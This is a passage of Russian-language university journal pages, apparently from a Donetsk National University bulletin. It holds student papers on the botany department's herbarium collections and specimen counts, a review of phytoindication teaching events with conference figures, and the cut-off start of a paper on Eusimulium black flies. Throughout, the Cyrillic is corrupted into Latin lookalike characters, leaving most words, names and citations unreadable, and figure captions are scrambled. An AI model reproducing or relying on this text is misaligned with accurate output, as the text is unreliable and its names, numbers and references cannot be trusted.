Annomayus. TlpuBeneHsl IpUMEpPHl OpraHU3aluy paboTHl ¢ repbapueM Ha Kadeape OOTaHUKH M SKOJIOTHU B
JloHeKoM HaIlMOHAILHOM YHHBEpCUTETe. BbIIeTIeHbl OTAeNEHbIe TAKCOHBL, KOTOPBIE COCTABILIOT AP0 (IIOpPHI
Jonbacca a1 M3y4eHHS CTYACHTaMH B Kypcax OOTAaHMKM — Kak ydeOHBIH MaTepual; IpoaHaTIH3UpPOBAHEI
repOapHbIe (HOHIIBI IO BONpOcaM yueGHOro repdapus 1 repOapusi OXpaHsIeMBIX BUIOB PACTCHHUI.

Kouesvie crnosa: [lonbacc, repdaproe nemo, GUTOMHIUKAINS, yaeOHbIH Tepbapuii, PUTOMOHUTOPHUHT.

Cuctema U3y4yeHus: pacTeHUN B COBPEMEHHOM Hay4YHO-aHAJIMTHUYECKOM IPOCTPAHCTBE
0a3upyeTcsi Ha HAKOIUICHMM © 00pa0OTKM OOTaHMYECKUX JAHHBIX C IOMOIIBIO
IIPOrPECCUBHBIX TeXHOIOTUH [1, 2], HO Ha OCHOBAHMU KJIACCUUYECKUX MOJX0JI0B B repOapHOM
nene [3-7].

Iesnp paGoThl — MpUBECTH NpPUMEPHl OpraHu3aluu paboThl ¢ repbapueM Ha kadeape
OOTaHWKH M SKOJIOTUU B J[OHEIKOM HALMOHATHHOM YHHUBEPCHUTETE, BBIJCIUTH OTIEIbHBIC
TaKCOHBI, KOTOPBIE COCTABIIAIOT s1/1po (uiopbl JJonbacca s u3ydeHus CTyJeHTaMU B Kypcax
O0O0TaHWKH — KaK y4eOHBI MaTepuall; MpoaHaTU3upoBaTh repOapHbie (GOHIBI IO BOIIPOCaM
y4ueOHOro repbapus u repoapust OXpaHsIeMbIX BHJIOB PACTEHHI.

B [oubacce pacTUTeNnbHBIE pecypchl B KOHTEKCTE (DUTOMHIMKAIMH YacTo
paccMaTpUBAIOTCS KaK MH(POPMATUBHBIE MHIMKATOPbI COCTOSHUS MPHPOIHBIX cpex [8, 9].
Kadenpa 60TaHMKN 1 SKOJIOTHH TaKXXe pacnojiaraeT 00TaHUYECKUM MY3€eM, KOTOPBIN TOXKe
UCMOJNb3yeTCsl Kak B Hay4yHOM, Tak M ydeOHoM mpouecce [10], BemyTcst paboOThl IO
CHelHaM3allii CTYEHTOB TaK)Ke C MCIOJIb30BaHHEM repOapHbix (onao [11-13]; gyacte
HCCIIEIOBAaHUN SIBIISETCS HKOJIoro-6otaHnyeckoit [14], ananusupyercss 6udarorpapudecku
[15], a Taxke ¢ momoieto ['MMC-texnonoruii [16, 17]. O606menHbIe pabOTHI IO U3YUYEHUIO
6uopaznoobpasus [18] Taxke onmuparoTCsl Ha ONBIT U JJAHHbIE OCHOBAaTeNe O00TaHUYECKOM
HaykH B peruoHe [19] u akTyanbHble IPUKIaJHbIE aCIIEKThl H3y4eHUsl pacTeHuil B Jlonbacce
[20-22].

Hamu yctanoBiieHo, uTo repbapuil — 3TO KOJUICKIUS CIENUAIbHO COOpaHHBIX U
3aCylICHHbIX pacTeHuid. B 3aBucuMocTH OT 1enu cOopa pacTeHUH, MOXKHO pa3JeluTh
repbapyuy Ha pa3Hble BHUJBL: KJIaCCHUYECKMM (HayudHbI) — repOapuil, COCTaBIEHHBIM IS
HAy4YHBIX IIeJel; TeMaTHMYeCKHM — pa3HOBMIHOCTb HAaydyHOro repOapus, riae oOpasiibl
Oo0BEIMHEHbl KaKOW-HUOYAb TEMAaTUKOW WM JApPYyruM MpHU3HaKoM; (oTtorepOapuii —
¢doToBepcHs Kilaccuyeckoro repOapus, MpU KOTOPOM ChEMKa MPOUCXOAUT B MPUPOJE, HE
coOupasi pacTeHHe; TBOPYECKHMH — TBOpUecKass paboTa, BBINOJHEHHAs U3 3aCYIIEHHBIX
pacTeHuil, B KOTOPOH HCIIOJIb3YIOTCS MOJIXObl U3rOTOBIEHUs repdapusi. ['epbapuii — 310
camblil XOpOILUN CIIOCOO COXPaHUTh MAKCUMYM HH(OpPMAIMH O pacTeHHsX. B HayuyHBIX
LEISIX MCIONB3YIOT IEJble pPAacTeHMs, BKIIOYas KOPHEBYIO CHCTEMY, B OTJIMYHUU OT
TBOpuecKUX. CTOUT TOJIbKO JIUIIb 3ayMaThCsl CKOJIBKO € MH(POPMAIIUN MOXHO JUIsl ceOs
MOTYEPKHYTh, MOJB3YACh OJHOM JIMIIb STUKETKON. Beab repOapuii 1OKyMEHTHpPYET: COCTaB
PacTUTENBbHOCTH KOHKPETHOW TEPPUTOPHHM, BBISBICHHME OOJACTe MpoU3pacTaHUS HOBBIX
OIpeJIeIEHHBIX BUJIOB pAaCTEHUH, N3yuyeHHe 0COOEHHOCTEH BUJIOB.
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Ha pucynke 1 npencraBiieHbl IpUMeEpbl repOApHBIX KOJUIEKLUH, UCTIONb3YEMbIX IS
YUeOHBIX IIeJIeH CTYACHTAaMH, MOJOIBIMH YUYCHBIMH, PHUCYHOK 2 COJAEPKUT IPHUMEpPHI
repOapHbIX KOJUIEKIUH [0 CHeNHaIU3UPOBAHHOMY KYpCY «3aloBEIHO JIEJI0M.

Puc. 1 — IIpumepsl TepOapHBIX KOJLICKITUH T y4eOHBIX [eIeH padoThI CTYICHTOB
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Puc. 2 — IIpumepsl repObapHBIX KOJIEKIMH IS Kypca «3amoBeIHOE JEI0»

Kpome HaydHBIX Iejed KOJUICKIIMM PACTCHHHA HWCIOJB3YIOTCS B yYEOHBIX IEJIAX,
HampuMep, U3y4eHHH OOTaHWKU, HO y4eOHBII repOapuii MOKET BKJIIOYATh B ceOs HE BCE, a
KaK#e-IM00 ONpeIeTICHHbIC YaCTH PACTeHHUs (JIUCTHS, IIBETKH). To ecTh WHPOpPMAINK B HUX
ropas3zio MeHbIIIe TI0 CPAaBHEHUIO C HayuyHBIM. B Hare Bpems Ha 3aMeHy repOapu3aiuu Kak
croco0y coxpaHeHHS HHPOPMAITUU O PACTECHUSAX MpuIia GoTorpadusi, aKTHBHO CO3/IAIOTCS
3JIEKTpOHHBIE repOapuu. OHM MO3BOJISIOT HAM HE TOJIBKO COCTAaBUTH MIPEJCTaBICHUE O (Iiope
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KaKoM-1100 TEpPUTOPUH, HO U TIPOSIBUTH CBOM TBOPUECKHE HABBIKU B UCKYCCTBE (hoTorpadun
00BEKTOB JKMBOW MpUpPOAbl — pacTeHHid. Tenepp 3acylMBaHuEe TPaB MOKHO MPUIHCATH K
X000, pacTeHus 0pOpMIISIIOT B paMy WJIU JIETAIOT AeKOpaTUBHbIE KOMIO3UIMK. BriOpannas
TeMa akKTyajbHa, TaK Kak repOapuil M SBISETCA HArSIIHBIM THocoOueM B y4eOHOM
NEeSITeIbHOCTH, HO U TAKXKE BaXKHEHIIMM MaTEepHaJIOM JIJIsl U3y4EHUE POJHOIO Kpasi.

Hamu mpoBeneHO 03HAKOMJICHHE € KOJUICKIMSIMHU CHCTEMaTHYECKOro repOapus uis
CIIEIYIONINX CEMEHCTB BBICIIMX PACTEHUM, HHBEHTApHBIN mojacuet: Asteraceae — 315 ak3.;
Brassicaceae — 234 sk3.; Fabaceae — 312 »k3.; Rosaceae — 322 3k3.; Poaceae — 363 3k3.;
Lamiaceae — 301 ak3.; Boraginaceae — 172 sk3.; Plantaginaceae — 102 sk3.; Polygonaceae —
39 sk3.; Liliaceae — 308 sk3.; Apiaceae — 41 sk3.; Amaryllidaceae — 82 »k3.; Onagraceae —
19 sk3.; Convonvulaceae — 44 »k3.; Asparagaceae — 22 sk3.; Scrophulariaceae — 26 sk3.,
Campanulaceae — 21 sx3.; Hyacinthaceae — 16 sk3.; Pottiaceae — 30 sk3.; Bryaceae — 32 5k3.;
Brachtheciaceae — 16 sk3.; Amblystegiaceae — 19 k3. (4 nocieqHUX — MOX000Opa3HbIE).

B repOapHoii kosuiekuuu HamMu ObUTH OMpEeNIeHbl K3eMIUISPhI, HAUuHas co cOOpOB
1965 rona B 1OHEIIKOM pEerHoHe, MHOTHE SK3EMIUIIPHI (U3 TE€X, KOTOPBIX XpaHsaTcs oosee 20
JIET) HYXKAAITCS B PeCTaBpalluy, IEPEeCMOTPE B ONpPEAEICHUH, €CTh repOapHbIe KOJUICKIIHH
3anoBeHbIX 00beKTOB JloHOacca (cooprl 70-x ros1oB 20 Beka) — 3a1I0BETHUKH «XOMYTOBCKas
crenby, «KameHHble MOTWIBD) U JApyrue; Oonbllas KOJUJIEKIHS Bceraa Oblia coOpaHa
CTYJICHTAMH Ha MEJOBBIX OOHAXEHHMAX, TI€CYaHBIX M TPAHUTHBIX  DKOTOIAX
KpacHonmumaHCKOTO U ApPTEMOBCKOTO pailOHOB — MeCTax MPEeXKHHUX PACIOIOKEHHMA
Oouoctanimii JIoHEIKoro HalMOHAIBFHOTO (TOCYIaPCTBEHHOT0) YHHBEPCHUTETA.

Konnexkunonueii  ¢GoHn (HAy4yHBIX COXpPAHHOCTEH) CpPaBHUTEIBHO OOJbINE IO
YHCJIEHHOCTH Y4€OHBIX repOapueB, MOCKOJIbKY COJEPKUT OoJiee LIEHHbIE 3K3eMIUIpbl. B
nankax o JAUCHUIUIMHE «3aloBeHOe JeNI0» MPEACTaBIeHO Oosee 1 THIC. 3K3EMIUISPOB,
KOTOpBIE TaKKe NMpoayOJupoBaHbl Ha MHMOPMAIIMOHHBIX CTEHAAX ayJIuTOpUN U B My3ee
Kadeapel O0TaHUKU M 3KOJOrMK JIOHEIKOro HalMoHaJbHOrO yHuBepcuteTa. C ceHTI0ps
2022 1. My3ed M Bce KOJUIEKIMOHHBbIE (OHIBI HAXOASTCS Ha TpaHMIE YCTOMUMBOCTH,
MOCKOJIbKY KOpIyC (aKyJabTeTa CUIBHO MOCTpaAaj MpH oOCTpenax M JIMLIEH OCTEKJIECHUS B
Tex repOapHbIX (QOHJaX, e OHW ObUIM M3HAYaJIbHO CPOpPMUpPOBaHBL. B miuaHax pa3BUTHS
3TOro repoapust HaXOJUTCs Mpolece HU(POBU3ALUH YIEJIEBIIMX HK3EMIUIIPOB — B TPAIULUIX
COBPEMEHHOM O0TaHMYECKON IPaMOTHOCTH (110 OPUEHTHPY C HAYYHOU IIKO0JI0i MOCKOBCKOTO
rocyJapcTBeHHOro yHuBepcutera M. M.B. JIomoHoCOBa).

Takum oOpa3om, pUBEAECHBI MPUMEPBI OpraHU3ali padoThl ¢ repdapueM Ha Kadeape
OO0TaHMKM M 3KOJOrMU B JIOHELKOM HallMOHAJbHOM YHHBEPCHUTETE; BBIIEIECHbI OTACIbHBIE
TaKCOHBI, KOTOPBIE COCTABIIAIOT s17Ipo (iopsl JJonbacca J1st U3yueHus CTyIeHTaMH B Kypcax
00TaHMKM — KaK y4yeOHBI MaTepHal; MpoaHAIN3UPOBaHbl TepOapHbie (POHJIBI IO BOIIPOCaM
yaeOHoro repbapus u repOapusi OXpaHsIeMbIX BUIO0B PACTEHUH.

CIIMCOK JIMTEPATYPbBI

1. Ceperun A.Il., BoukoB [I.A., IlInep 1O.B. [u np.] «®nopa Poccum» na mmatdopme iNaturalist: Gosbiue
JlaHHBIE 0 OMopa3HooOpazuu 6oJbiIo cTpansl // XKypuan obueit 6uonoruu. — 2020. — T. 81, Ne 3. — C. 223-
233. https://doi.org/10.31857/S0044459620030070

2. Seregin A.P. Moscow University Herbarium (MW). Version 1.114. Lomonosov Moscow State University.
GBIF.org. Occurrence dataset. — 2020. https://doi.org/10.15468/cpnhcc

3. Ilepecroponnna O.H. Pomp repGapHOil KOJUIEKIMM B OOTaHHMYECKOM OOpa3oBaHWMM BBICHIEH IITKOJIBI
C. B. lllabankuna // Cubupckuit neparornueckuii sxypHair. — 2013. — Ne 4. — C. 160-164.

4. NumutpueB A.B. I'epbapHoe nerno, yueHue o repbapusx, repOaproIorus U METOAWKA CKOT4I-Tepbapust //
Hayunsie pyast Yebokcapckoro ¢pummaina ['BC um. H.B. Iunuaa PAH. — 2020. — Ne 16. — C. 9-24.

5. T'ypeesa N.U. T'epbaproe nemo: PyxoBomctBo mo opranmsamuu I'epbapus m pabore ¢ repOapHBIMHU
kosurekimsmu. — Tomck: HU Tomcekuii I'Y, 2012. — 193 c.

129



Bectauk CHO JIOHHY. Bpimn. 15. Tom 1: EcrectBennsie Hayku. — 2023.

6. 3axapoBa O.A. Hcropus Ooranmyeckoro repbOapus Pszanckoro T'ATY // Hdoueukwe utenus 2022:
oOpa3oBaHme, HayKa, THHOBAIINH, KyJIbTYpa 1 BEI30BEI coBpeMeHHocTH. — JJorenk: JJorHY, 2022. — C. 66-68.

7. Jempsaenko T.B. Pons repOapHOii KOIIIEKITNHA B O0OYICHNH CIIEIIUAIMCTOB B BBICIINX YICOHBIX 3aBEICHHUAX
/I Noneukwne urerns 2021: oO6pa3oBanue, HayKa, ”HHOBAIINH, KyJIbTYpa M BEI30BEI COBPEMEHHOCTH. — JIoHeIK:
JloHenkuil HaIOHANBHBIN YHUBepcHuTeT, 2021. — C. 68.

8. Cadonos A.I., I'myxoB A.3. IlomnyHKIIMOHATBHBIE CBOIICTBA pACTEHUH B aclieKTe MHAMKaIw // JloHenkne
yrenus 2022: oOpazoBaHue, Hayka, MHHOBAINH, KyJbTypa M BBI30BH coBpeMeHHOCTH. — Jlonemnk: HoHHY,
2022. - C. 114-116.

9. CaponoB A.1., I'myxoB A.3. DUTOMOHUTOPHHT B TEXHOT'CHHO TPaHC(OPMHUPOBAHHOI Cpejie: METOAOJIOTHS 1
npakTuka // Dxocuctemsl. — 2021, — Ne 28. — C. 16-28.

10. Ierkormo O.B. Hayunwii pecypc Oortanmueckoro myses B Jouenke // [owuerkue ureHus 2016.
O0pa3oBaHue, HayKa U BBI30BBI coBpeMeHHOCTH. — JJoHenk: FODY, 2016. — C. 139-140.

11. Cadonos A. 1. Beenenue B ciennann3anuio Ha kKapeape 6oranuku u sxonorun JouHY // JloHenkne ayreHus
2016. O6pazoBanne, HayKa W BBI30OBHI coBpeMeHHOCTH. — JJorerk: FODY, 2016. — C. 196-197.

12. CagonoB A.U. Criermnduka 00pazoBaTeIbHBIX TEXHOJIOTHI Ha Kadenpe OoTaHUKH u SKonoruu JJoHHY npn
MOATOTOBKE CTYAECHTaMH BBIITYCKHBIX KBaTH(UKAIIMOHHBIX paboT // Pa3BuTHE HHTEIEKTYaIbHO-TBOPYECKOTO
MOTEHIIHAIa MOJIOJICKH: M3 TMPOILIOTO B coBpeMeHHOcTh. — JJorenk: JJorHY, 2018. — C. 274-275.

13. CadonoB A.U. Cnenudurka mMOArOTOBKHA y4eOHO-METOIMUECKOW MPOIYKIHMH OOTaHHKO-3KOJIOTHIECKOTO
coJiepaHus Jyis HaydHo# oubnuorexu ouny // Jouerkue urenus 2019: oOpa3oBanue, Hayka, HHHOBAIIWY,
KyJIbTypa 1 BbI30BbI coBpeMeHHocTH. — Jlonenk: lonHY, 2019. — C. 294-297.

14. Kucenepa /I.B. [IpuHIMIIBI cO3aHusI IIKaJ aHATOMO-MOP(OJIOTUUECKOH MIACTHYHOCTH (PUTOMHIMKATOPOB
TeXHOTeHHOTr0 peruoHa // Jlonenkue urenus 2016. O6pa3oBaHue, HayKa U BBI30BbI COBPEMEHHOCTH. — JIOHEIIK:
0DV, 2016. - C. 117-119.

15. ABpaumoBa T.B. Dxonornueckue paspaborku B Jlonbacce: 6ubiuorpadguyeckuil yuetr U nomyssipu3anus
HayY4YHBIX HCCIICAOBaHUH // BUONMOTEKN M 3KOJIOTMYecKoe NMPOCBELICHHE: TEOpPHs W MpakThka. — MockBa:
I'TIHTB Poccun, 2022. — C. 11-15. https://doi.org/10.33186/978-5-85638-255-5-2022-11-15

16. TI'epmonoBa E.A. Busyamuzauus MUKPOKIMMAaTUYECKUX HW3MEHEHUM MHIMKATOPHBIX MPHU3HAKOB B
JIOKJIBHBIX HMOMYJIALMSIX pacTeHni r. JloHenka // I'mobanpHbIE KIMMAaTHYECKHE W3MEHEHHS: PErnOHAIIbHbIC
3¢ dexTsI, Mogemny, mporHo3bl. — Boporex: Lludposas momurpadus, 2019. — C. 39-40.

17. TepmonoBa E.A. AHanm3 OOTaHMKO-IKOJOTHYECKOW HH(POPMAIUH IO TEOJOKAIMH B MPOMBIIIICHHOM
Honbacce // lonenxue urenust 2019: oOpazoBanue, Hayka, HHHOBAIIMH, KyJbTypa U BHI30BbI COBPEMEHHOCTH:
Mmatep. IV Mexaynap. Hayd. koud. (Jonenk, 31 oktsiops 2019 1.). T. 2. Houenk: TouHY, 2019. — C. 202-204.

18. BecmanoBa C.B. AcnexTsl m3ydeHuss O6uopazHooOpasust B LlenTpansHoM JloHOacce: MHBEHTapH3alus,
OLIEHKA MPUPOJIHBIX CPeJl, PErUCTpaIisi aHTPONOreHHbIX TpaHchopmarmii // CrenHas EBpasust — ycroitunBoe
pasBuTHe: c0. Marep. MeKAyHap. popyma. — Poctos-uHa-Jony: IODY, 2022. — C. 179-181.

19. T'opeuxkuit O.C., Cromsaposa T.I1., CadoroB A.U. K 115-netuto Beigaromerocs 6uonora ®énopa JIrBoBHUa
enotrera (1906—-2000) // Uctopuko-buonorudeckue uccnempoBanms. — 2021, — T. 13, Ne 4. — C. 169-183.
20. CadonoB A.U. TeparoreHes pacTCHHH-MHIUKATOPOB TpoMbImuieHHOTO J[loHOacca // PaszHooOpasue

pacturensHoro mupa. — 2019. — Ne 1(1). — C. 4-16. — DOI 10.22281/2686-9713-2019-1-4-16.

21. AnmemacoBa A.C. Tspkenmbsle MeTaluTbl B (PUTOCYOCTpaTaX — WHAWKATOPHI aHTPOIIOTEHHOTO 3arps3HCHUS
BO3Jlyxa B MPOMBIIIIEHHOM perrone // JlecHo# Bectauk. Forestry Bulletin. — 2022. — T. 26. — Ne 6. — C. 5-13.
— https://doi.org/10.18698/2542-1468-2022-6-5-13

22. 3unbkoBckas W.M. buomoHHTOpMHrOBas IporpamMma IO OIeHKe Bo3ayxa B JloHOacce € MOMOIIBIO
HEUTPOHHO-aKTHBAIIMOHHOTO aHam3a // Jlonenkue urenus 2022: oOpa3oBanue, Hayka, MHHOBAIIUH, KYJIbTypa
1 BBI3OBHI coBpeMeHHocTH: Matep. VII MexayHnap. HayuH. koH). — Jonernk: JorHY, 2022. — C. 69-71.

HERBAR BUSINESS IS THE BASIS FOR SCIENTIFIC IDENTIFICATION OF DATA ABOUT
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at the Donetsk National University are given. Separate taxa, which form the core of the flora of Donbass, have
been identified for students to study in botany courses - as educational material; the herbarium funds were
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VJIK 581.15 : 37.02 : 504 : 581 (477.60)

AHAJIN3 IPEJCTABJIEHHOCTH AKTYAJIbHOH HAYYHO-
OBPA3OBATEJIbBHOU HH®OPMAIIMU PUTONHIUKAITMOHHOI'O
COJAEPKAHUA B CUCTEME OBYYEHUA

IHlleguyx H.A.

Hayunwiit pykosooumens: Caghonos A.U., kano.ouon.nayk, 3ae.xagheopoit

oy BIIO «/IOHHY»

Aunomayus. B crarbe mnpencraBieHa uHdopmanusi — 0030p aKTyaJlbHBIX HayYHO-00pa30BaTENbHBIX

MEpOIPUATHH COBMECTHO C YUeHbIMH J[OHEIKOro HalMOHAJIBHOTO yHUBepcuTeTa (kadeapbl OOTaHMKH U
9KOJIOTHH), NMPOBOJMMBIX B TEKyLIEM y4eOHOM oAy C MPHUBICYCHHUEM CTYIEHTOB, acIUPAHTOB M MOJIOABIX
YUYEHBIX TaKUM 00pa3oM, 4TOOBI BBIIEIUTh (DUTOMHAWKAIIMOHHYIO cocTaBisonryto HTM u akryanuzupoBath
9TH JIaHHBIE B 00pa3oBaTesbHON QyHKIUY IpU 00y4EHUH Ha OMOJIOTHYECKOM (aKyybTeTe.

Knrouesvie crosa: puronnnukanus, JloHelK, 3KOJIOTNYeCKUil MOHUTOPHHT, 00pa3oBaTesbHas IporpaMMa.

Nwmeromasicss nHpopManus, NpeAcTaBiIeHHas 111 00CYKICHUS Ha HAYYHO-TEXHIHUECKUX
MEpONPUATHIX COBMECTHO C YydeHbIMu JloHOacca, cOOEpX HUT OOJbIIOE KOJIUYECTBO
TEMaTUYECKHX HAINPABICHHHA MO aKTyaIbHBIM oOnacTsM 3HaHWK. OOCYXIEHHE Hay4YHBIX
pe3yJabTaTOB pPacCMaTpPUBAETCA KaK Ppecypc METOJMYECKOH paboThl M  OpraHu3aluu
00pa3oBaTEeNbHON JESTEIBHOCTH KAaK CO CTYACHTaMH, TaK W CO IIKOJbHHUKAMH B paMKax
po¢OpUEHTAIIMOHHOMN paboThI [1].

Lenp paboTel — mpencTaBuTh WHGopManuio B (opme 0030pa aKTyadbHBIX Hay4dHO-
00pa30oBaTEeNbHBIX MEPONPUSATUA COBMECTHO C Y4YeHbIMM J[OHELKOro HaIMOHAIBHOTO
yHHUBepcuTeTa (Kadeapbl O0TaHUKHU U 3KOJIOTUH), IPOBOJUMBIX B TEKYLIEM y4E€OHOM IOy
(2022-2023) ¢ mpuBICYCHUEM CTYJCHTOB, ACIIUPAHTOB U MOJIOJBIX YICHBIX TAKHM 00pa3om,
9YTOOB!I BBLACIUTH (UTOMHIMKALMOHHYIO cocTaBisitomytro HTM u akTyanusupoBaTh 3TH
JlaHHbIe B 00pa30BaTeNbHON (DYHKIMU MpU 00YYEeHUH Ha OMOJIOTHYECKOM (paKyibTeTe.

BakHpIM 3BEHOM HPABCTBEHHO-yXOBHOTO BOCHHUTAHMS SIBISE€TCS OpraHU3alus
MOHUMAaHMsl y4yalluMUCs pabOThl HAayyHBIX HIKOJ B pervoHe [2], ApoOHBIA TeMaTHUeCKUi
oubnuorpaduueckuil yuetT NOCTHKEHUN U MyOnuKanuii [3], peruoHaabHbIE METOJIUYECKHE
nocobuss M pPEeKOMEHJIAMM Mo (GOopMHUPOBaHMIO HH(POPMAMOHHONW 6a3bl OOTaHMKO-
HKOJIOTHYECKOTO cojepkanuss W um3ydenus [4-7]. TocOrompkerHas TtemaTtwka [8—11]
MHIVKAMOHHBIX UCCIIEJOBAHUN JIE)KUT B OCHOBE OCYILECTBIISIEMBIX IIPOrPaMM B PETHOHE 110
9KOJIOTMYECKOMY MOHMTOPHUHTY U NPOQUIbHON OOTaHMUYECKOH SKCIEepTH3€ COCTOSIHHS U
JUArHOCTHKE TEXHOTEHHBIX JKoTomoB [12—-17], a Takke pa3NUYHBIX CIOCOOOB
UHTEpIIPETAIMy 1 00paObOTKH MOJTYUEHHBIX TIEPBUYHBIX M JTa00PAaTOPHBIX MaHHBIX [ 18—21].

[Ipemyiaraemass uis OOCyXJEHHsl TeMmaTHdeckas MOAOOpKa HaIlpaBICHUA Takxke
aBigercs o0bekToM paboTbl  CTyaeHueckoro HayyHoro obmiectBa  JloHenkoro
HAIlMOHAJILHOTO YHUBepcuteTa [1, 22, 23].

B mnepeune HTM, B KOTOpBIX aHANU3UPYIOTCS TeMbl (UTOMHIUKALMOHHOTO
COJIep KaHuUs M B3SATHI IPUMEPHI JJIS SKCIIEPUMEHTAbHON paboThl B yUeOHBIX J1a00paTOpHsX,
OTMEYEHBbl KOHKYpPChl HAy4YHBIX pabOT CTYAEHTOB M MOJIOABIX YUYEHBIX, MYOJIUKAlUH,
OJIMMIIMAJIBI TIO OTHENBHBIM Y4YeOHBIM TUCHMIUIMHAM (Hampumep, Dkonorus, buonorus,
Teopus sBomtonuu, PammonanbHOe TpUPOIONOIb30BAaHUE U IIP.), YYaCTHE B MporpamMmax
00pa3oBaTeNbHBIX KYPCOB 110 MOBBIIICHUIO KBATU(UKAIIMH WIH TPOXOXKICHUE TAKMX KYpCOB
B paMKax CEeTeBbIX NpOrpamMMm C By3aMmu-NapTHepamu (A JloHeukoro HalMoOHaIbLHOTO
YHHUBEPCUTETA ITO LIEHTPaAJIbHBIN BYy3 Poccun — MOCKOBCKHI rOCYJapCTBEHHBII YHUBEPCUTET
M. M.B. JlomMOoHOCOBa), aKTUBHOE Yy4YacTHe B KpYIJbIX CToOJaX, KOH(EepeHIUsX,
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MEXIyHApOAHBIX (DOpyMax B Ka4€CTBE aBTOPOB U COABTOPOB padOT, B KAYECTBE CBOOOTHOTO
CITyLIATENs] U aKTUBHOTO YYaCTHUKA OOCYXKICHUIA.

Jlis mpumepa TakKMX YCIEUIHO pEAJM30BAHHBIX MPOTpaMM BaXXKHO OTMETUTH
MeXIyHapoaHoi ¢popym «CrenHas EBpasusy», KoTopslit mpoxoant B FOkHOM denepaibHOM
YHUBEpPCUTETE M coOpasl yuyeHbiXx Oosiee 20 rocynapctB, B reorpaduueckoM acrekTe — OT
@panmmu 10 Kutas (puc. 1), marepuansl ¢opyma C ydactueM yueHbIX JloHenkoro
HallMOHaAIBHOTO yHHBepcuTeTa [9, 10] cymecTBeHHbIM 00pa3oM IOMOJHUIN aKTyaJbHbIE
METOAMYECKUE Pa3padOTKHU AJIsl MOATOTOBKU AUAAKTHYECKOTO MaTepHaia 1o SKOJIOTHIeCKOi
0oTaHMKe WK OOTAHUKE B YCIOBUSX TEXHOTEHHOTO PETHOHA.
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Puc. 1 — CkpHHIIOTHI ¢ 9KpaHa JOKIJ0B MEKIYHAPOJHOTO dKOJIOrHUecKoro popyma «CrermHast
EBpa3zus» — opranuzaims HayqHOW-00pa30BaTEILHOTO POCTPAHCTBA B MHIUKAIIMOHHO-
00TaHWYECKOM HaNpaBJICHUH U aclieKTe (PUTOPa3HO0Opa3us

B 2022 rony 6puta Takke opranusosana (r. ExarepunOypr, Catka) MexayHapoaHas
KoH(pepeHuus «buonornueckasi peKyabTUBALUS 1 MOHUTOPUHT HapYyLIEHHBIX 3eMenby [16],
JaHHBIE U3 JOKIAJ0B YYaCTHUKOB (pHUC. 2) MOMOIHUIA METOIUYECKUE Pa3paOOTKH.
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HedreaarpasHeHHBIE 3eMAK %

—

CreauHa

TeppuKOH LaxTbl
«CeBepHaa»

OrBa/pl NycToMnopoaby;, Koskmumcroe
MECTOPOKAEHUE 30/10Ta

PaspaboTtka KpynHbIx
MecTopoxxaeHuih TumaHo-Ieyopckoit
HedTEerasoHOCHOW NPOBUHLUUM,
Meyopckoro yronbHoro 6acceiiHa,
pyAHbIX MecTopoXaeHuii Ypana
nNpoucCXoanT Ha Haubonee ys3BUMbIX
K @aHTPOMOreHHOMY BO3AElCTBUIO
5 TEPPUTOPUAX NOA3OH HOXHOM

% Buia Sy SN  KyCTapHWKOBOW TYHAPbI, CEBEPHOi U

JlecoBO3HblE AOpPOTH, obuiepacnpocTpaHeHHbIX IOXKHOI necoTyHApbI,

Norpy3o4yHble nioLanku IS e i KpaiiHeceBepHOil 1 ceBepHON Taiiru.

Puc. 2 — CkpuHIIOTHI € KpaHa AOKIaa0B KoH(pepeHn «buonornyeckas peKyabTHBAIUS U
MOHHUTOPHHT HApYIIEHHBIX 3eMeJb) — TUIAKTHYECKUI MaTeprall B 00y4yaronux
TEXHOJIOTHSIX

Vuensie Muaun, Kurtasg, MoHronuu, Bcex NIPOMBIIUICEHHBIX pernoHOB Poccum
MIPeICTaBUIIM JTOKJIAJbl Ha I00MIeHHON KOH(EepeHINH, YTO MOCTYKUIO PECYPCOM KauecTBe
npuMmepa To compspkeHHbIM i JlonOacca Temam. Takke mpoaHATM3UPOBAHBI U
paccocpeioTOYeHbl MaTepHuaibl B KadecTBE JMIAKTUYECKHMX IOCOOMH mnpu O0ydeHHH
CTYJICHTOB U IIKOJHHUKOB CTapIIUX KypCOB TeMaM MPOMBIIUIEHHOTO (roporeHesa,
crocobaM ONTHUMH3AIUHU CPEebl C MOMOIIBIO PACTUTENBHBIX OpraHU3MOB. [IJIs MOBBILIEHUS
MOTHBAIIMH CPEI CTYACHTOB MPOBOAATCS KOHKYPCHI TBOPUECKUX M aHAIUTUYECKUX PabdoT,
HanpuMep, 0 paCTeHUEBOJCTBY U MEPCIEKTUBAM 3€JIEHOTO CTPOUTENLCTBA B ropoaax (puc.

3).
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OTpacii pacTenHeBoacTsa
GoxaHHKH z ® ¢ P P ‘ 2
5 )

PACTEHMEBOOCTBO

MEKUMN N NABOPATOPHbLIN MPAKTUKYM

OoHeuk — 2022

Puc. 3 — IIpumep BU3yanu3auuu KOHKYpPCHOM ITPOrpaMMBI 110 PACTEHUEBOICTBY

Takum o6pa3zom, Hay4yHas nporpamma B JIOHELKOM HAalMOHAJIbHOM YHUBEPCUTETE
SBIISIETCS OCHOBOHM Uil (DOPMHUPOBAHUS 00pa30BATEIBHBIX M METOAMYECKUX MEPOIPHITHI
IIyTeM IOMNOJIHEHUS aKTyaJIbHbIMU CBEIEHUSIMH U HOBBIMHU (DAKTaMu M3 JKU3HU PACTEHUU B
HKOJIOTUYECKH HEOIaronpusaTHOM PETHOHE.
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YK 595.771
MOUIIKMH POJA EUSIMULIUM ROUBAUD, 1906 JOHBACCA

HlIkupenko A.0.
Hayunwiit pykosooumens: Pesa M.B., kano.ouon.nayk, 0oyenm
Ioy BIIO «/IOHHY»

Annomayus. B pamnHO# pabore ommcana Mopdosorns Hambojee MHOToOYMCIeHHOro Buma Eusimulium
securiforme Rubzov, 1956, otHocsimerocs k poxy Eusimulium. Taxke u3ydeHa GHONOTHS Pa3sBUTHS JaHHOTO
BHa Ha Tepputopun JJorbacca.

Kniouesvle cro6a: MOMIKH, MHOTOYHCIICHHBIH BHJ, MOP(OIOTHsI, GHOJIOTHS Pa3BHTHSI.

Beenenue.

Momku (Diptera, Simuliidae) — 370 KpoBococyIHe IBYKPBLIbIe, CAMKHA KOTOPBIX
COCTaBJISIIOT BaXKHYIO YacTh rHyca Ha Tepputopuu [Jonbacca. bonblIMHCTBO MOIIEK UMEIOT
BXHOE SNUAEMHOJOTHYecKkoe 3HadeHue. OHU SBJISIOTCS KPOBOCOCAMM 4YEJIOBEKa U
